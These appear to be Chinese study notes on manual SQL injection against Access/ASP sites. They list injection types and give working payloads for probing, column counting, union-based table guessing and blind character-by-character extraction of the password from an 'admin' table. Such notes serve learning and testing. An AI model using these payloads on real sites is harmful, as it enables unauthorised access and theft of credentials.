sql注入-access+asp手工注入
sql注入的分类
按照接收方式分为三类
https://www.cnblogs.com/cuihongyu3503319/p/5892257.html
GET:GET参数是放在 url 中的,GET请求的 url 传参有长度限制,中文需要URL编码
POST:POST参数是放在请求body里的,长度没有限制
COOKIE:cookie是放在请求头信息中,提交的时候,服务器会从请求头获取参数
数据类型的区分
int 整型:select * from user where id=1
闭合:select * from user where id =1 and 1=1
string 字符型:select * from user where username='admin'
闭合:select * from user where username='admin' and 'x'='x'
like 搜索型:select * from news where title like '%搜索的内容%'
闭合:select * from news where title like '%ver%' and ' 1%' = '1%'
注入方法区分
联合查询注入
报错注入
布尔盲注
时间盲注
access+asp手工注入
access数据库与其他数据库不一样,没有储存表的库,所以只能猜表。
access数据库结构:表--字段--数据
判断是否存在注入
and 判断
id=1 and 1=1 正常页面 / id=-1 or 1=1 正常页面
id=1 and 1=2 错误页面 / id =-1 or 1=2 错误页面
下面为不存在注入
判断字节数
order by 判断当前表的字节数
id=1 order by 22
显示正常,代表存在
显示错误,表示不存在
猜表
如果表存在,页面显示正常
id=1 union select 1,2,3,4,...,22 from admin
回显出3,15;可利用进行猜解字段
exists猜表是否存在,存在则页面显示正常
id=1 and exists(select * from admin)
猜字段、数据
在显示的数字上替换成要猜解的字段,如果存在,页面显示正常
exists猜列是否存在
猜字段长度:
id=1 and(select top 1 len(password) from admin)=8
判断来自表admin中的第一个password的长度是否等于8
猜数据的长度
mid():截取位置
asc():ascii码
id=1 and (select top 1 asc(mid(password,1,1)) from admin)=97
猜解表admin中的第一个password的第一个字符的ascii码长度